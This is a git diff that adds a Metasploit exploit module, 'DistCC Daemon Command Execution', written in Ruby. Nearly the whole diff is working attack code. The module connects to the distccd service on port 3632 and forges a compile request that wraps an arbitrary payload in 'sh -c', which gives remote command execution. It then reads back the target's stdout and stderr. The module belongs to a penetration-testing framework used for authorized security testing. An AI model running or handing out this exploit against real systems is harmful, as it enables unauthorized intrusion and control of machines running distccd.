diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb new file mode 100644 index 0000000000..d11261a24e --- /dev/null +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -0,0 +1,112 @@ +require 'msf/core' + +module Msf + +class Exploits::Unix::Misc::DISTCCD_EXEC < Msf::Exploit::Remote + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DistCC Daemon Command Execution', + 'Description' => %q{ + This module uses a documented security weakness to execute + arbitrary commands on any system running distccd. + + }, + 'Author' => [ 'hdm' ], + 'License' => GPL_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'MIL', '19'], + [ 'URL', 'http://distcc.samba.org/security.html'], + + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'Automatic Target', { }] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(3632) + ], self.class) + end + + def exploit + connect + + p payload.encoded + + distcmd = dist_cmd("sh", "-c", payload.encoded); + sock.put(distcmd) + + dtag = Rex::Text.rand_text_alphanumeric(10) + sock.put("DOTI0000000A#{dtag}\n") + + res = sock.get_once(24, 5) + + if (not (res and res.length == 24)) + print_status("The remote distccd did not reply to our request") + disconnect + return + end + + # Check STDERR + res = sock.get_once(4, 5) + res = sock.get_once(8, 5) + len = [res].pack("H*").unpack("N")[0] + + if (len > 0) + res = sock.get_once(len, 5) + res.split("\n").each do |line| + print_status("stderr: #{line}") + end + end + + # Check STDOUT + res = sock.get_once(4, 5) + res = sock.get_once(8, 5) + len = [res].pack("H*").unpack("N")[0] + + if (len > 0) + res = sock.get_once(len, 5) + res.split("\n").each do |line| + print_status("stdout: #{line}") + end + end + + handler + disconnect + end + + + # Generate a distccd command + def dist_cmd(*args) + + # Convince distccd that this is a compile + args.concat(%w{# -c main.c -o main.o}) + + # Set distcc 'magic fairy dust' and argument count + res = "DIST00000001" + sprintf("ARGC%.8x", args.length) + + # Set the command arguments + args.each do |arg| + res << sprintf("ARGV%.8x%s", arg.length, arg) + end + + return res + end + +end +end